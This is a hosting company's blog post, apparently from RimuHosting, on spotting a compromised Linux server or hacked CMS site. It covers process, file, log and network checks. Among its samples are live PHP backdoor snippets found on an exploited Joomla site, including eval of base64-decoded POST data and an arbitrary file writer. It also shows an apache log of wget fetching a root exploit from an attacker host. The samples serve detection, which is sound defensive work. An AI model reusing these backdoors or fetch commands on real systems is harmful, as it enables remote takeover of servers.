Identifying exploits and exploited websites

I have made posts before regarding how to find exploits, and what to do about those previously, however it has come to my attention that some people are not even realizing what the basics are to look for. In this post i will give you ideas on what to look for, how to identify exploits and similar.

A vast majority of exploits are web based, and only impact the web user. They are usually from an insecure CMS like wordpress, joomla, or drupal, and almost always PHP based, with the odd perl ones thrown in. If you run these CMS, make sure you update whenever there is a new version of the CMS, as well as plugins - this is vital to staying secure.

Signs and Symptoms of being exploited:


Websites running slow, servers crashing or having high load constantly are a sure sign there is probably an exploit or bad code that needs fixing. If you see a high CPU notice from us regularly. its time to start checking.
Another sign of exploits is suddenly seeing that you have a lot more bandwidth usage over a short period of time. eg 7gb usage one month, and 100gb the next.

The first thing to check for are odd processes that have been running longer than usual, or with higher CPU usage, or even a lot more processes than usual. Once you find those using ps auxf, or top you can identify what files they have open, and if they are "normal". You can see what files they have open using lsof -p pid

eg This example shows what file an exploited SSH was running

root@servername ~]# lsof -p 4349
COMMAND  PID USER   FD   TYPE DEVICE    SIZE   NODE NAME
bash    4349 root  cwd    DIR  202,1    4096 180351 /root/.mc
bash    4349 root  rtd    DIR  202,1    4096      2 /
bash    4349 root  txt    REG  202,1  716972 163843 /bin/bash
bash    4349 root  mem    REG  202,1   46680 395167 /lib/libnss_files-2.5.so
bash    4349 root  mem    REG  202,1 1598704 393227 /lib/libc-2.5.so
bash    4349 root  mem    REG  202,1   14644 395162 /lib/libdl-2.5.so
bash    4349 root  mem    REG  202,1   11828 393289 /lib/libtermcap.so.2.0.8
bash    4349 root  mem    REG  202,1  120360 393364 /lib/ld-2.5.so
bash    4349 root    0u   CHR    3,0           1492 /dev/ttyp0
bash    4349 root    1u   CHR    3,0           1492 /dev/ttyp0
bash    4349 root    2u   CHR    3,0           1492 /dev/ttyp0
bash    4349 root  255u   CHR    3,0           1492 /dev/ttyp0
[root@servername ~]#

Bingo!

[root@servername ~]# ls -al /root/.mc/
total 5064
drwxr-xr-x 2 root root    4096 Apr  9 15:24 .
drwxr-x--- 6 root root    4096 Apr  9 14:53 ..
-rwxr-xr-x 1 1000 1000  453972 Sep 14  2008 fever
-rw-r--r-- 1 root root    2249 Apr  9 15:37 nobash.txt
-rw-r--r-- 1 root root      18 Apr  9 14:56 pass.txt
-rw-r--r-- 1 root root 3307564 Apr  9 15:14 scan.log
-rwxr-xr-x 1 root root 1384518 Apr  9  2011 top
-rw-r--r-- 1 root root    1403 Apr  9 15:28 vuln.txt 
[root@servername ~]#

Once you have found the file or website that may be offensive you can then use ls -l or find to identify things. It pays at this point to be familiar with what files are normal or not with your website, as noticing extra odd files is a key part of finding exploits. Often exploited files are owned by the apache or www-data user, as they are uploaded via the webserver using that (apache exploits account for at least 80% of the ones we see at rimuhosting)

eg

-rw-r--r--  1 www-data www-data    70329 Apr  1 16:57 w20362964n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 17:37 w26182127n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:36 w26955811n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:35 w29538580n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:12 w32792216n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:12 w33145563n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 17:37 w36585479n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:13 w37492747n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:31 w41176972n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:30 w45128912n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:12 w45248321n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:13 w47118613n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:35 w48595416n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:12 w49844261n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:12 w52093009n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:13 w60502833n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:30 w61545633n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:36 w71353151n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:36 w73847967n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:31 w76558843n.php
-rw-r--r--  1 www-data www-data    23289 Apr  1 10:12 w77548477n.php
-rw-r--r--  1 www-data www-data    23289 Apr  5 11:35 w79695543n.php
-rw-r--r--  1 www-data www-data    70329 Apr  1 16:56 w85877824n.php
-rwxrwxrwx  1 louie    www-data     2051 Apr 26  2012 web.config
-rwxrwxrwx  1 louie    www-data        0 Apr 26  2012 workshops.csv
-rw-r--r--  1 www-data www-data   349905 Apr  7 09:10 wp-conf.php
-rw-r--r--  1 www-data www-data       53 Mar 29 16:56 wtm2912n.php
-rwxrwxrwx  1 louie    www-data      552 Apr  5 13:24 xmlrpc.php

You can see the user differences in these, however it pays to check all (in this case xmlrpc.php was also exploited as well as other files)

Checking code in the files also helps, things to look for are eval($somestuff), base64_decode($somestuff), exec($somestuff), lots of obscure $_REQUEST codes that looks like random characters, or similar

eg These were found in an exploited joomla

<!--?php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();} 
</pre-->
$wxif = "11ecc1380aa5a8aa6bb301c124eb0010"; if(isset($_REQUEST['mvuxa'])) { $tdnbf =
$_REQUEST['mvuxa']; eval($tdnbf); exit(); } if(isset($_REQUEST['woyqbg'])) { $fhcs = $_REQUEST['xacrdxhw']; $jpizuns = $_REQUEST['woyqbg']; $argbicoe
= fopen($jpizuns, 'w'); $jkyp = fwrite($argbicoe, $fhcs); fclose($argbicoe); echo $jkyp; exit(); } ?&gt;<!--?php  
</pre-->

Often these files will be disguised as regular files. From the example list above you can see wp-conf.php ... this seems to be a wordpress config, but in fact that was an exploit. I have found similar in about.php readme.php configuration.php license.php or other names which sound legitimate.

Another place they will often lurk is in files starting with a . (so they are hidden), an identical name to another file but with a space in from (so its not noticed), and in particular in images, upload, and tmp directories, as they are usually writeable.

Example of file with space not being noticeable

$ ls
index.php    sitemap.xml     wp-activate.php  wp-atom.php           wp-commentsrss2.php   wp-content   wp-includes        wp-login.php  wp-rdf.php       wp-rss.php        wp-signup.php
license.txt  sitemap.xml.gz  wp-admin         wp-blog-header.php    wp-config.php         wp-cron.php  wp-links-opml.php  wp-mail.php   wp-register.php   wp-settings.php  wp-trackback.php
readme.html  stats           wp-app.php       wp-comments-post.php  wp-config-sample.php  wp-feed.php  wp-load.php        wp-pass.php   wp-rss2.php      wp-settings.php   xmlrpc.php

now with ls -l

 -rw-r--r--  1 vftp     vftp       334 Dec 10  2010 wp-register.php
-rw-r--r--  1 vftp     vftp       226 Dec 10  2010 wp-rss2.php
-rw-r--r--  1 vftp     vftp       224 Dec 10  2010 wp-rss.php
-rw-r--r--  1 www-data www-data     0 Apr 10 12:45  wp-settings.php
-rw-r--r--  1 vftp     vftp      9899 Jan  3 19:21 wp-settings.php
-rw-r--r--  1 vftp     vftp     18219 Jan  3 19:21 wp-signup.php
-rw-r--r--  1 vftp     vftp      3700 Jan  3 19:21 wp-trackback.php

Neither of those cases showed the hidden directory because i need -a for that

$ ls -al
total 264
drwxr-xr-x  7 vftp     vftp      4096 Apr 10 12:45 .
drwxr-xr-x  5 vftp     vftp      4096 Dec 22  2009 ..
drwxr-xr-x  2 www-data www-data  4096 Apr 10 12:45 .a
-rw-r--r--  1 vftp     vftp      2641 Apr 16  2012 .htaccess
-rw-r--r--  1 vftp     vftp       395 Jan  3 19:21 index.php

Usually i find the best and quickest way to find these is using the find command to find files modified in the last day or two, or even the last week using mtime
eg finding things modified in the last 24 hours

$ find ./ -mtime 0
./
./wp-content/cache
./wp-content/cache/wp-cache-8eaf320d108607c0abb2fa3fe6c0d977.html
./wp-content/cache/meta
./wp-content/cache/meta/wp-cache-8eaf320d108607c0abb2fa3fe6c0d977.meta
./.a
./ wp-settings.php
./stats/webalizer.hist
./stats/ctry_usage_201304.png
./stats/usage.png
./stats/hourly_usage_201304.png
./stats/usage_201304.html
./stats/index.html
./stats/daily_usage_201304.png

Shows a few false positives, but easily identifiable for the most part.

Once you find any files, it pays to check the apache logs, find out who accessed that file, and what else they accessed, ideally also how they uploaded that file. You can track these down by the timestamps on the files themselves. Be wary when you see a folder full of files, often it was a zip so has incorrect dates. check the folder creation time itself or use stat command

eg

$ stat wp-settings.php 
  File: `wp-settings.php'
  Size: 9899            Blocks: 24         IO Block: 4096   regular file
Device: ca01h/51713d    Inode: 1181196     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 5500/    vftp)   Gid: ( 5500/    vftp)
Access: 2012-09-07 07:43:11.000000000 +1200
Modify: 2013-01-03 19:21:36.000000000 +1300
Change: 2013-01-03 19:21:36.000000000 +1300

Things to look for in apache logs are POST commands, or output of shell executables like wget which will have been run by an exploited script potentially.

Here are some examples that have been found in apache logs

error: permission denied on key 'kernel.cad_pid' 
error: permission denied on key 'net.ipv4.route.flush' 
error: permission denied on key 'net.ipv6.route.flush' 
error: permission denied on key 'fs.binfmt_misc.register' 
cat: /etc/issue.net: No such file or directory 
cat: /etc/*-realise: No such file or directory 
which: no links in (/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-bin/4.3.4:/root/bin) 
which: no fetch in (/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i686-pc-linux-gnu/gcc-bin/4.3.4:/root/bin) 
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html 
error: "kern.ostype" is an unknown key 
--2010-07-18 06:08:20--  http://th3-0utl4ws.com/localroot/xploits/enlightenment.tgz 
Resolving th3-0utl4ws.com... 178.21.112.247 
Connecting to th3-0utl4ws.com|178.21.112.247|:80... connected. 
HTTP request sent, awaiting response... 200 OK 
Length: 98102 (96K) [application/x-tar] 
Saving to: `enlightenment.tgz' 

     0K .......... .......... .......... .......... .......... 52%  162K 0s 
    50K .......... .......... .......... .......... .....     100%  423K=0.4s 

2010-07-18 06:08:21 (230 KB/s) - `enlightenment.tgz' saved [98102/98102]

netstat is another great way to show what connections are established, and what ones are open by what pid.
In this case there is a connection with IRC client, and 2 SSH connections

vps:~# netstat -pant |grep ESTAB
tcp        0      0 72.249.82.23:54526      173.245.201.28:6667     ESTABLISHED 12018/irssi     
tcp        0      0 72.249.82.23:1973       27.252.225.183:54292    ESTABLISHED 11157/sshd: wishes 
tcp        0     48 72.249.82.23:1973       27.252.225.183:56705    ESTABLISHED 12020/sshd: wishes 
vps:~#

Often you can find IRC bots running on hacked servers, usually connecting to another server on port 6667 as in the case above (this is a legitimate irc client in this case). Having the details of those connections and pid numbers means you can then find out where the bots may be hidden or running from, as often the ps can show an alternative place to the actual file.
So for this one, the irssi client if it was a potential bot, can be found by checking the pid 12018 and using lsof -p 12018 as above to find the files.

Another thing to check is crontabs for all users, you can find those in /var/spool/cron/crontab/ as files.

Above all, if a server is root exploited, its time to reinstall. Once a hacker has root then they can hide things pretty much anywhere and have full control of the server. Preventative measures and good backups are worth their weight in gold, and should always be done.

If you think your server may have been hacked, just pop in a ticket to support.

This entry was posted in Rimuhosting, Security and tagged , , , , . Bookmark the permalink.

Comments are closed.